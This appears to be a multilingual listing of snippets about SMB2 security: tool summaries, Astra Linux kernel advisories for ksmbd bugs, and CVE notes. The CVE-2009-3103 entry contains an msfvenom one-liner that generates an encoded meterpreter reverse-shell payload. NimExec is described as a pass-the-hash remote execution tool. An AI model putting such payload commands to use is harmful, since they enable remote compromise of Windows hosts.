Titanis

はじめに Titanis は、Windows 環境と対話するための、C で書かれたプロトコル実装とコマンドラインユーティリティのライブラリです。 .NET 8 を使用し、クロスプラットフォーム Windows および Linux に対応しています。 実装されているプロトコルの一部: SMB2 MS-SMB2 SMB 2.x および 3.x 3.1.1 まで 署名や暗号化などのメッセージセキュリティ機能 ファイルシステム制御コード MS-FSCC のサポートを含みます DFS リンク MS-DFSC MSRPC MS-RPCE エンドポイントマッパー DCOM MS-DCOM EFS...

NimExec

NimExec 기본적으로 NimExec는 SCMRService Control Manager Remote Protocol을 사용하는 파일리스 원격 명령 실행 도구입니다. LocalSystem이 실행하는 무작위 또는 지정된 서비스의 바이너리 경로를 변경하여 대상에서 주어진 명령을 실행한 후, WinAPI 호출 대신 수제작된 RPC 패킷을 통해 나중에 복원합니다. 이러한 패킷은 SMB2와 svcctl 명명된 파이프를 통해 전송됩니다. NimExec는 대상 머신에 인증하기 위해 NTLM 해시가 필요하며, 수제작된 패킷을 통해 NTLM...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the handling of SMB2LOGOFF commands. The issue arises from the lack of proper validation of a pointer before accessing it. An attacker can exploit this...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...

nmap-nse-scripts

Repository for NSE Nmap Scripting Engine development. You will find my scripts including non-official ones, libraries, resources and other related material from my workshops. NSE（Nmap Scripting Engine）開発用リポジトリです。私のスクリプト（非公式のものを含む）、ライブラリ、リソース、およびワークショップの関連資料がここにあります。 TODO -Finishing SMB2 NSE libra...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Windows 用ペイロードを作成/生成するワンライナー msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ meterpreter を起動するワンライナー...

SMB-LINUX-CVE-2025-37899

Linux内核ksmbd中的释放后使用漏洞 CVE-2025-37899 描述 已在Linux内核的ksmbd模块中发现一个 释放后使用 漏洞，该模块负责实现用于网络文件交换的SMB（服务器消息块）协议。此漏洞标识为CVE-2025-37899，可能允许以高权限远程执行代码。 介绍 该发现由研究员Sean Heelan使用OpenAI的o3模型完成，展示了人工智能在识别复杂漏洞方面的潜力。该漏洞存在于对SMB2/3的logoff命令的处理中，可在特定竞争条件下被利用。 技术细节 漏洞描述 释放后使用...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fixed an infinite loop caused by resetting nextsmb2rcvhdroff during error paths. The issue occurs when a signed request fails the smb2 signature verification check. In processrequest, if checksignreq returns an error,...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb/server: The function ksmbdsessionrpcclose is called on the error path in the createsmb2pipe function. When the ksmbdiovpinrsp function fails, we should call ksmbdsessionrpcclose...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: a out-of-bounds error in initsmb2rsphdr has been fixed. If a client sends a SMB2 negotiate request and then a SMB1 negotiate request, initsmb2rsphdr is called for the SMB1 negotiate request, since needneg is set to false...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: cifs: preventing use-after-free by freeing the cfile later. In smb2compoundop, there is a potential use-after-free that may lead to difficult debugging issues in the future. This issue was identified during stress testing with th...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

A issue was discovered in ksmbd within the Linux kernel before version 6.6.10. The smb2getdataarealen function in fs/smb/server/smb2misc.c can lead to an out-of-bounds access via smbstrndupfromutf16, due to improper handling of the relationship between the Name data and the CreateContexts data...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: ksmbd: The validation of the request buffer size was added in smb2allocaterspbuf. The response buffer should be allocated in smb2allocaterspbuf before validation of the request. However, fields within the payload as well as the...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in ksmbd within the Linux kernel versions 5.15 through 5.18, prior to 5.18.18. fs/ksmbd/smb2pdu.c lacks length validation in the non-padding case of smb2write...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb: Client: Fixed a potential Use-after-Free UAF in smb2isvalidleasebreak. Skipped sessions that are being terminated status == SESEXITING to avoid UAF...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fixed a slab-out-of-bounds issue in smb2allocaterspbuf. If -ProtocolId is set to SMB2 TRANSFORMPROTONUM, the validation of the request size could be skipped. If the request size is smaller than sizeofstruct smb2queryinfore...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix potential OOBs in smb2parsecontexts Validate offsets and lengths before dereferencing create contexts in smb2parsecontexts. This fixes following oops when accessing invalid create contexts from server: BUG: unabl...

Astra Linux – Vulnerability in Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Fixed a NULL pointer dereferencing issue in smb2getinfofilesystem. If share is provided, share-path will be NULL, which can lead to a NULL pointer dereferencing issue...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: The hardcoded hdr2len parameter was replaced with the offsetof function in smb2calcmaxoutbuflen. After this commit e2b76ab8b5c9 "ksmbd: add support for read compound", the management of response buffers was changed to use ...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in ksmbd within the Linux kernel versions 5.15 through 5.19, prior to 5.19.2. The file fs/ksmbd/smb2misc.c contains an out-of-bounds read and an OOPS error related to the SMB2TREECONNECT function...